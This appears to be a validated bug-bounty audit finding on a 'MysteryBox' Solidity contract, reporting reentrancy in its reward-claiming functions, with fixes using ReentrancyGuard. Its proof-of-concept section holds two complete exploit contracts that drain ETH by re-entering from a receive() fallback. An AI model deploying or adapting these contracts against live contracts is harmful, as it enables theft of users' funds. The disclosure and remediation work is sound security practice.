Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in Reward Claiming Functions claimAllRewards and claimSingleReward

Summary

The contract contains reentrancy vulnerabilities in its claimAllRewards and claimSingleReward functions. These vulnerabilities could allow an attacker to drain the contract's funds by repeatedly calling these functions before the contract's state is updated.

Vulnerability Details

Both functions follow a similar pattern where they send ETH to the caller before updating the contract's state. This order of operations violates the "checks-effects-interactions" pattern and opens the door for reentrancy attacks.

In claimAllRewards():

function claimAllRewards() public {
// ...calculation of totalValue...
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}

In claimSingleReward():

function claimSingleReward(uint256 _index) public {
// ... checks and value calculation ...
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}

Impact

An attacker could exploit this issue to drain the contract's funds. By creating a malicious contract that calls these functions repeatedly within its fallback function, the attacker could claim rewards multiple times before the contract's state is updated as long as the value of rewards is greater than 0, potentially emptying the contract's balance. This vulnerability puts all funds held by the MysteryBox contract at risk, severely compromising its integrity and the trust of its users.

Proof Of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IMysteryBox {
function buyBox() external payable;
function openBox() external;
function claimAllRewards() external;
}
contract ExploitContract {
IMysteryBox public mysteryBox;
uint256 public attackCount;
uint256 public initialBalance;
constructor(address _mysteryBoxAddress) {
mysteryBox = IMysteryBox(_mysteryBoxAddress);
}
function attack() external payable {
require(msg.value > 0, "Send some ETH to start the attack");
initialBalance = address(this).balance;
// Buy and open a box to get some rewards
mysteryBox.buyBox{value: msg.value}();
mysteryBox.openBox();
// Start the attack
mysteryBox.claimAllRewards();
}
receive() external payable {
attackCount++;
if (address(mysteryBox).balance > 0 && attackCount < 10) {
mysteryBox.claimAllRewards();
}
}
function getAttackProfit() external view returns (uint256) {
return address(this).balance > initialBalance ? address(this).balance - initialBalance : 0;
}
}
  • Attacker deploys ExploitContract with MysteryBox address.

  • Calls attack on ExploitContract with enough ETH to buy a box.

  • Transaction goes through since the funds are sent before updating the state.

This version focuses solely on exploiting the claimAllRewards function. To create a separate exploit for claimSingleReward, you would create a new contract with a similar structure but targeting that specific function:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IMysteryBox {
function buyBox() external payable;
function openBox() external;
function claimSingleReward(uint256 _index) external;
}
contract ExploitContractSingleReward {
IMysteryBox public mysteryBox;
uint256 public attackCount;
uint256 public initialBalance;
uint256 public constant ATTACK_INDEX = 0; // Index of the reward to claim repeatedly
constructor(address _mysteryBoxAddress) {
mysteryBox = IMysteryBox(_mysteryBoxAddress);
}
function attack() external payable {
require(msg.value > 0, "Send some ETH to start the attack");
initialBalance = address(this).balance;
// Buy and open a box to get some rewards
mysteryBox.buyBox{value: msg.value}();
mysteryBox.openBox();
// Start the reentrancy attack
mysteryBox.claimSingleReward(ATTACK_INDEX);
}
receive() external payable {
attackCount++;
if (address(mysteryBox).balance > 0 && attackCount < 10) {
mysteryBox.claimSingleReward(ATTACK_INDEX);
}
}
function getAttackProfit() external view returns (uint256) {
return address(this).balance > initialBalance ? address(this).balance - initialBalance : 0;
}
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}

Tools Used

  • Manual review

  • Remix IDE

Recommendations

  • import the ReentrancyGuard contract

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
  • Make the MysteryBox contract inherit from ReentrancyGuard

contract MysteryBox is ReentrancyGuard {
// ... existing code ...
}
  • Update the claimAllRewards function

function claimAllRewards() public nonReentrant {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
// Store rewards in memory and delete from storage before transfer
Reward[] memory claimedRewards = rewardsOwned[msg.sender];
delete rewardsOwned[msg.sender];
// Transfer funds after state update
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}
  • Update the claimSingleReward function

function claimSingleReward(uint256 _index) public nonReentrant {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
// Store reward in memory and delete from storage before transfer
Reward memory claimedReward = rewardsOwned[msg.sender][_index];
delete rewardsOwned[msg.sender][_index];
// Transfer funds after state update
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
// Emit event after the transfer
emit RewardClaimed(msg.sender, claimedReward.name, claimedReward.value);
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!